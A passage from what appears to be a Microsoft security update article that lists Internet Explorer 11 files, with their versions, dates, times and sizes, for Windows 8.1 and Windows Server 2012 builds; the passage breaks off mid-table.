11.0.9600.19507| 5-Oct-2019| 20:50| 295,424 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:51| 294,400 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:50| 294,400 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:50| 292,864 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:51| 290,816 \nmshtml.dll.mui| 11.0.9600.19963| 12-Feb-2021| 19:30| 290,816 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:50| 286,208 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:48| 281,600 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:48| 286,720 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:48| 292,352 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:48| 242,176 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:51| 243,200 \nmshtml.dll.mui| 11.0.9600.19507| 5-Oct-2019| 20:51| 243,200 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:19| 73,728 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:19| 67,584 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:19| 67,584 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:19| 74,240 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:19| 78,848 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:19| 61,440 \nF12Resources.dll.mui| 11.0.9600.17278| 15-Aug-2014| 18:39| 61,440 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:19| 74,752 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:19| 62,464 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:27| 68,096 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:27| 75,264 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:28| 68,608 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:27| 71,680 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:27| 73,216 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:18| 41,472 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:18| 37,888 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:18| 68,608 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:18| 67,584 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:18| 65,536 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:18| 74,240 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:18| 70,656 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:18| 71,168 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:18| 71,680 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:18| 71,168 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:27| 69,632 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:27| 68,096 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:26| 68,608 \nF12Resources.dll.mui| 11.0.9600.19963| 12-Feb-2021| 19:30| 68,096 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:27| 65,536 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:27| 59,904 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:27| 65,536 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:26| 69,120 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:27| 29,696 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:19| 30,720 \nF12Resources.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:18| 30,720 \nJavaScriptCollectionAgent.dll| 11.0.9600.19963| 12-Feb-2021| 18:03| 63,488 \nDiagnosticsHub.ScriptedSandboxPlugin.dll| 11.0.9600.19963| 12-Feb-2021| 18:04| 215,552 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:02| 46,080 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:02| 50,176 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:02| 48,640 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:02| 49,664 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:02| 51,712 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:03| 54,272 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:03| 48,128 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 10:09| 48,128 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:03| 50,176 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:03| 47,616 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:04| 49,152 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:02| 50,688 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:03| 45,056 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:03| 49,152 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:03| 49,152 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:54| 49,664 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:53| 39,936 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:53| 39,424 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:53| 47,616 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:53| 47,616 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:53| 48,640 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:53| 51,200 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:53| 50,688 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:03| 49,152 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:02| 50,176 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:02| 49,152 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:02| 48,640 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:02| 49,664 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:02| 48,640 \nurlmon.dll.mui| 11.0.9600.19963| 12-Feb-2021| 19:30| 49,664 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:02| 48,640 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:59| 48,128 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:58| 49,152 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:58| 48,128 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 12:58| 35,328 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:02| 35,328 \nurlmon.dll.mui| 11.0.9600.18378| 11-Jun-2016| 13:02| 35,328 \nwininet.dll| 11.0.9600.19963| 12-Feb-2021| 17:33| 4,147,712 \njsproxy.dll| 11.0.9600.17416| 30-Oct-2014| 19:43| 39,936 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:24| 114,176 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:24| 130,560 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:24| 124,928 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:24| 122,880 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:24| 130,048 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:23| 138,240 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:23| 114,688 \ninetcpl.cpl.mui| 11.0.9600.18698| 14-May-2017| 12:41| 114,688 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:23| 131,584 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:23| 117,760 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:23| 122,368 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:24| 134,144 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:23| 107,008 \ninetcpl.cpl.mui| 11.0.9600.18838| 14-Oct-2017| 0:14| 123,392 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:24| 127,488 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:23| 128,512 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:23| 88,064 \ninetcpl.cpl.mui| 11.0.9600.18838| 14-Oct-2017| 0:14| 82,944 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:23| 125,440 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:23| 123,392 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:23| 120,320 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:24| 130,560 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:23| 129,024 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:24| 125,952 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:24| 129,024 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:24| 128,000 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:24| 123,904 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:24| 129,024 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:24| 123,904 \ninetcpl.cpl.mui| 11.0.9600.19963| 12-Feb-2021| 19:30| 124,416 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:24| 121,856 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:21| 115,712 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:21| 123,904 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:22| 125,440 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:21| 74,752 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:23| 75,776 \ninetcpl.cpl.mui| 11.0.9600.18817| 7-Sep-2017| 15:24| 75,776 \nieui.dll| 11.0.9600.19650| 11-Feb-2020| 4:46| 427,520 \niedkcs32.dll| 18.0.9600.19963| 12-Feb-2021| 17:52| 292,864 \ninstall.ins| Not versioned| 12-Feb-2021| 16:24| 464 \nieapfltr.dat| 10.0.9301.0| 23-Sep-2013| 19:22| 616,104 \nieapfltr.dll| 11.0.9600.19963| 12-Feb-2021| 17:35| 548,864 \niepeers.dll| 11.0.9600.19963| 12-Feb-2021| 17:59| 107,008 \nlicmgr10.dll| 11.0.9600.17416| 30-Oct-2014| 19:34| 23,552 \ntdc.ocx| 11.0.9600.19963| 12-Feb-2021| 18:02| 62,464 \nDiagnosticsHub.DataWarehouse.dll| 11.0.9600.17416| 30-Oct-2014| 19:52| 495,616 \niedvtool.dll| 11.0.9600.19963| 12-Feb-2021| 17:59| 726,016 \nDiagnosticsHub_is.dll| 11.0.9600.19963| 12-Feb-2021| 18:22| 39,936 \ndxtmsft.dll| 11.0.9600.19963| 12-Feb-2021| 18:06| 364,032 \ndxtrans.dll| 11.0.9600.19963| 12-Feb-2021| 17:58| 221,696 \nMicrosoft-Windows-IE-F12-Provider.ptxml| Not versioned| 15-Aug-2014| 15:50| 11,892 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:18| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:18| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:19| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:19| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:19| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:20| 4,096 \nF12.dll.mui| 11.0.9600.17278| 15-Aug-2014| 18:39| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:19| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:18| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:27| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:28| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:27| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:27| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:27| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:18| 3,584 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:19| 3,584 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:18| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:17| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:18| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:18| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:19| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:18| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:18| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:18| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:27| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:27| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:26| 4,096 \nF12.dll.mui| 11.0.9600.19963| 12-Feb-2021| 19:30| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:26| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:27| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:26| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:26| 4,096 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:27| 3,584 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:19| 3,584 \nF12.dll.mui| 11.0.9600.17278| 16-Aug-2014| 4:18| 3,584 \nDiagnosticsTap.dll| 11.0.9600.19963| 12-Feb-2021| 18:06| 175,616 \nF12Resources.dll| 11.0.9600.17496| 21-Nov-2014| 17:44| 10,948,608 \nF12Tools.dll| 11.0.9600.19963| 12-Feb-2021| 18:05| 263,680 \nF12.dll| 11.0.9600.19963| 12-Feb-2021| 17:57| 1,186,304 \nmsfeeds.dll| 11.0.9600.19963| 12-Feb-2021| 17:51| 587,264 \nmsfeeds.mof| Not versioned| 5-Feb-2014| 21:51| 1,518 \nmsfeedsbs.mof| Not versioned| 21-Aug-2013| 16:43| 1,574 \nmsfeedsbs.dll| 11.0.9600.19650| 11-Feb-2020| 4:34| 43,520 \nmsfeedssync.exe| 11.0.9600.16384| 21-Aug-2013| 20:05| 11,776 \nmshtmled.dll| 11.0.9600.19963| 12-Feb-2021| 18:00| 73,216 \nmshtml.dll| 11.0.9600.19963| 12-Feb-2021| 17:44| 16,229,376 \nmshtml.tlb| 11.0.9600.16518| 6-Feb-2014| 1:36| 2,724,864 \nMicrosoft-Windows-IE-HTMLRendering.ptxml| Not versioned| 5-Feb-2014| 21:39| 3,228 \nIEAdvpack.dll| 11.0.9600.16384| 21-Aug-2013| 19:54| 98,816 \nieetwcollector.exe| 11.0.9600.18658| 5-Apr-2017| 10:29| 98,816 \nieetwproxystub.dll| 11.0.9600.16518| 6-Feb-2014| 1:23| 43,008 \nieetwcollectorres.dll| 11.0.9600.16518| 6-Feb-2014| 1:36| 4,096 \nielowutil.exe| 11.0.9600.17031| 22-Feb-2014| 1:32| 222,208 \nieproxy.dll| 11.0.9600.19963| 12-Feb-2021| 17:33| 308,224 \nIEShims.dll| 11.0.9600.19650| 11-Feb-2020| 4:11| 268,800 \nimgutil.dll| 11.0.9600.19963| 12-Feb-2021| 17:43| 34,816 \nWindows Pop-up Blocked.wav| Not versioned| 23-Sep-2013| 20:25| 85,548 \nWindows Information Bar.wav| Not versioned| 23-Sep-2013| 20:25| 23,308 \nWindows Feed Discovered.wav| Not versioned| 23-Sep-2013| 20:25| 19,884 \nWindows Navigation Start.wav| Not versioned| 23-Sep-2013| 20:25| 11,340 \nbing.ico| Not versioned| 23-Sep-2013| 19:51| 5,430 \nieUnatt.exe| 11.0.9600.16518| 6-Feb-2014| 1:12| 112,128 \nMicrosoft-Windows-IE-InternetExplorer-ppdlic.xrm-ms| Not versioned| 12-Feb-2021| 18:53| 2,956 \njsdbgui.dll| 11.0.9600.19963| 12-Feb-2021| 18:01| 457,216 \njsprofilerui.dll| 11.0.9600.19963| 12-Feb-2021| 18:01| 574,976 \nMemoryAnalyzer.dll| 11.0.9600.19963| 12-Feb-2021| 18:12| 1,935,360 \nMshtmlDac.dll| 11.0.9600.19867| 12-Oct-2020| 21:22| 60,928 \nnetworkinspection.dll| 11.0.9600.19963| 12-Feb-2021| 17:57| 1,105,408 \noccache.dll| 11.0.9600.19867| 12-Oct-2020| 21:01| 121,856 \ndesktop.ini| Not versioned| 18-Jun-2013| 7:46| 65 \nwebcheck.dll| 11.0.9600.19867| 12-Oct-2020| 20:57| 201,216 \ndesktop.ini| Not versioned| 18-Jun-2013| 7:46| 65 \npdm.dll| 12.0.20712.1| 26-Jul-2013| 10:03| 420,752 \nmsdbg2.dll| 12.0.20712.1| 26-Jul-2013| 10:03| 295,320 \npdmproxy100.dll| 12.0.20712.1| 26-Jul-2013| 10:03| 76,712 \nmsrating.dll| 11.0.9600.17905| 15-Jun-2015| 12:46| 157,184 \nicrav03.rat| Not versioned| 23-Sep-2013| 19:32| 8,798 \nticrf.rat| Not versioned| 23-Sep-2013| 19:32| 1,988 \niertutil.dll| 11.0.9600.19963| 12-Feb-2021| 18:12| 2,186,240 \nie4uinit.exe| 11.0.9600.19963| 12-Feb-2021| 17:52| 678,400 \niernonce.dll| 11.0.9600.16518| 6-Feb-2014| 1:15| 28,160 \niesetup.dll| 11.0.9600.16518| 6-Feb-2014| 1:23| 59,904 \nieuinit.inf| Not versioned| 12-Mar-2015| 18:46| 16,303 \ninseng.dll| 11.0.9600.16384| 21-Aug-2013| 19:35| 77,312 \niesysprep.dll| 11.0.9600.17416| 30-Oct-2014| 19:28| 87,552 \nTimeline.dll| 11.0.9600.19963| 12-Feb-2021| 18:02| 155,648 \nTimeline_is.dll| 11.0.9600.19963| 12-Feb-2021| 18:14| 130,048 \nTimeline.cpu.xml| Not versioned| 24-Jul-2014| 12:09| 3,197 \nVGX.dll| 11.0.9600.19963| 12-Feb-2021| 18:00| 734,720 \nurl.dll| 11.0.9600.17416| 30-Oct-2014| 19:49| 236,032 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:51| 2,066,432 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:51| 2,121,216 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:51| 2,075,136 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:51| 2,063,872 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:51| 2,314,240 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:54| 2,390,528 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:53| 2,034,176 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:03| 2,033,152 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:53| 2,307,584 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:54| 2,255,872 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:53| 2,061,312 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:51| 2,326,016 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:54| 2,019,840 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:53| 2,071,040 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:53| 2,082,816 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:52| 2,307,584 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:53| 2,170,368 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:53| 2,153,984 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:52| 2,291,712 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:52| 2,283,520 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:52| 2,052,096 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:52| 2,301,952 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:52| 2,093,056 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:53| 2,075,648 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:52| 2,299,392 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:52| 2,094,592 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:52| 2,316,800 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:52| 2,305,536 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:52| 2,278,912 \nieframe.dll.mui| 11.0.9600.19963| 12-Feb-2021| 19:31| 2,286,080 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:52| 2,060,288 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:49| 2,315,776 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:49| 2,278,912 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:48| 2,324,992 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:49| 2,098,176 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:51| 1,890,304 \nieframe.dll.mui| 11.0.9600.19846| 23-Sep-2020| 21:50| 1,890,304 \nieframe.dll| 11.0.9600.19963| 12-Feb-2021| 17:34| 12,315,648 \nieframe.ptxml| Not versioned| 5-Feb-2014| 21:38| 24,486 \nInetRes.adml| Not versioned| 12-Feb-2021| 19:34| 526,294 \nInetRes.adml| Not versioned| 12-Feb-2021| 19:34| 499,654 \nInetRes.adml| Not versioned| 12-Feb-2021| 19:34| 552,337 \nInetRes.adml| Not versioned| 12-Feb-2021| 19:32| 944,559 \nInetRes.adml| Not versioned| 12-Feb-2021| 18:45| 457,561 \nInetRes.adml| Not versioned| 12-Feb-2021| 19:32| 543,946 \nInetRes.adml| Not versioned| 12-Feb-2021| 19:32| 526,557 \nInetRes.adml| Not versioned| 12-Feb-2021| 19:33| 575,838 \nInetRes.adml| Not versioned| 12-Feb-2021| 19:32| 570,737 \nInetRes.adml| Not versioned| 12-Feb-2021| 19:31| 548,119 \nInetRes.adml| Not versioned| 12-Feb-2021| 19:31| 639,271 \nInetRes.adml| Not versioned| 12-Feb-2021| 19:31| 525,504 \nInetRes.adml| Not versioned| 12-Feb-2021| 19:31| 488,488 \nInetRes.adml| Not versioned| 12-Feb-2021| 19:31| 548,494 \nInetRes.adml| Not versioned| 12-Feb-2021| 19:30| 559,343 \nInetRes.adml| Not versioned| 12-Feb-2021| 19:30| 535,067 \nInetRes.adml| Not versioned| 12-Feb-2021| 19:30| 541,455 \nInetRes.adml| Not versioned| 12-Feb-2021| 19:30| 804,470 \nInetRes.adml| Not versioned| 12-Feb-2021| 19:30| 503,909 \nInetRes.adml| Not versioned| 12-Feb-2021| 19:30| 521,583 \nInetRes.adml| Not versioned| 12-Feb-2021| 19:30| 420,082 \nInetRes.adml| Not versioned| 12-Feb-2021| 19:33| 436,651 \nInetRes.adml| Not versioned| 12-Feb-2021| 19:33| 436,651 \ninetres.admx| Not versioned| 11-Jan-2021| 19:24| 1,678,023 \ninetcomm.dll| 6.3.9600.19963| 12-Feb-2021| 17:54| 675,328 \nINETRES.dll| 6.3.9600.16384| 21-Aug-2013| 20:15| 84,480 \njscript9.dll| 11.0.9600.19963| 12-Feb-2021| 17:43| 3,573,248 \njscript9diag.dll| 11.0.9600.19963| 12-Feb-2021| 18:12| 557,568 \njscript.dll| 5.8.9600.19963| 12-Feb-2021| 18:12| 516,608 \nvbscript.dll| 5.8.9600.19963| 12-Feb-2021| 18:17| 403,968 \n \n### **Windows Server 2012**\n\n### \n\n__\n\nInternet Explorer 11 on all supported x86-based versions\n\n**File name**| **File version**| **File size**| **Date**| **Time** \n---|---|---|---|--- \nUrlmon.dll| 11.0.9600.19963| 1,343,488| 13-Feb-21| 1:50 \nIexplore.exe| 11.0.9600.19963| 810,400| 14-Feb-21| 0:24 \nWininet.dll.mui| 11.0.9600.19963| 46,592| 14-Feb-21| 0:26 \nWininet.dll.mui| 11.0.9600.19963| 52,736| 14-Feb-21| 0:27 \nWininet.dll.mui| 11.0.9600.19963| 51,200| 14-Feb-21| 0:27 \nWininet.dll.mui| 11.0.9600.19963| 51,200| 14-Feb-21| 0:28 \nWininet.dll.mui| 11.0.9600.19963| 56,320| 14-Feb-21| 0:29 \nWininet.dll.mui| 11.0.9600.19963| 57,856| 14-Feb-21| 0:30 \nWininet.dll.mui| 11.0.9600.19963| 54,272| 14-Feb-21| 0:31 \nWininet.dll.mui| 11.0.9600.19963| 47,616| 14-Feb-21| 0:32 \nWininet.dll.mui| 11.0.9600.19963| 49,152| 14-Feb-21| 0:32 \nWininet.dll.mui| 11.0.9600.19963| 55,296| 14-Feb-21| 0:33 \nWininet.dll.mui| 11.0.9600.19963| 45,056| 14-Feb-21| 0:34 \nWininet.dll.mui| 11.0.9600.19963| 51,712| 14-Feb-21| 0:35 \nWininet.dll.mui| 11.0.9600.19963| 51,712| 14-Feb-21| 0:36 \nWininet.dll.mui| 11.0.9600.19963| 53,248| 14-Feb-21| 0:36 \nWininet.dll.mui| 11.0.9600.19963| 39,424| 14-Feb-21| 0:38 \nWininet.dll.mui| 11.0.9600.19963| 35,840| 14-Feb-21| 0:38 \nWininet.dll.mui| 11.0.9600.19963| 50,176| 14-Feb-21| 0:39 \nWininet.dll.mui| 11.0.9600.19963| 51,200| 14-Feb-21| 0:40 \nWininet.dll.mui| 11.0.9600.19963| 50,688| 14-Feb-21| 0:41 \nWininet.dll.mui| 11.0.9600.19963| 52,736| 14-Feb-21| 0:42 \nWininet.dll.mui| 11.0.9600.19963| 53,760| 14-Feb-21| 0:42 \nWininet.dll.mui| 11.0.9600.19963| 54,272| 14-Feb-21| 0:44 \nWininet.dll.mui| 11.0.9600.19963| 54,272| 14-Feb-21| 0:44 \nWininet.dll.mui| 11.0.9600.19963| 52,736| 14-Feb-21| 0:45 \nWininet.dll.mui| 11.0.9600.19963| 51,200| 14-Feb-21| 0:46 \nWininet.dll.mui| 11.0.9600.19963| 53,248| 14-Feb-21| 0:47 \nWininet.dll.mui| 11.0.9600.19963| 52,736| 14-Feb-21| 0:47 \nWininet.dll.mui| 11.0.9600.19963| 51,712| 14-Feb-21| 0:48 \nWininet.dll.mui| 11.0.9600.19963| 50,688| 14-Feb-21| 0:49 \nWininet.dll.mui| 11.0.9600.19963| 50,688| 14-Feb-21| 0:50 \nWininet.dll.mui| 11.0.9600.19963| 50,176| 14-Feb-21| 0:51 \nWininet.dll.mui| 11.0.9600.19963| 50,176| 14-Feb-21| 0:51 \nWininet.dll.mui| 11.0.9600.19963| 30,720| 14-Feb-21| 0:52 \nWininet.dll.mui| 11.0.9600.19963| 30,720| 14-Feb-21| 0:53 \nWininet.dll.mui| 11.0.9600.19963| 30,720| 14-Feb-21| 0:54 \nInetcpl.cpl| 11.0.9600.19963| 2,058,752| 13-Feb-21| 2:12 \nMshtml.dll.mui| 11.0.9600.19963| 307,200| 14-Feb-21| 0:26 \nMshtml.dll.mui| 11.0.9600.19963| 293,888| 14-Feb-21| 0:26 \nMshtml.dll.mui| 11.0.9600.19963| 290,304| 14-Feb-21| 0:27 \nMshtml.dll.mui| 11.0.9600.19963| 289,280| 14-Feb-21| 0:28 \nMshtml.dll.mui| 11.0.9600.19963| 299,008| 14-Feb-21| 0:29 \nMshtml.dll.mui| 11.0.9600.19963| 303,104| 14-Feb-21| 0:30 \nMshtml.dll.mui| 11.0.9600.19963| 282,112| 14-Feb-21| 2:00 \nMshtml.dll.mui| 11.0.9600.19963| 296,960| 14-Feb-21| 0:31 \nMshtml.dll.mui| 11.0.9600.19963| 283,648| 14-Feb-21| 0:32 \nMshtml.dll.mui| 11.0.9600.19963| 291,840| 14-Feb-21| 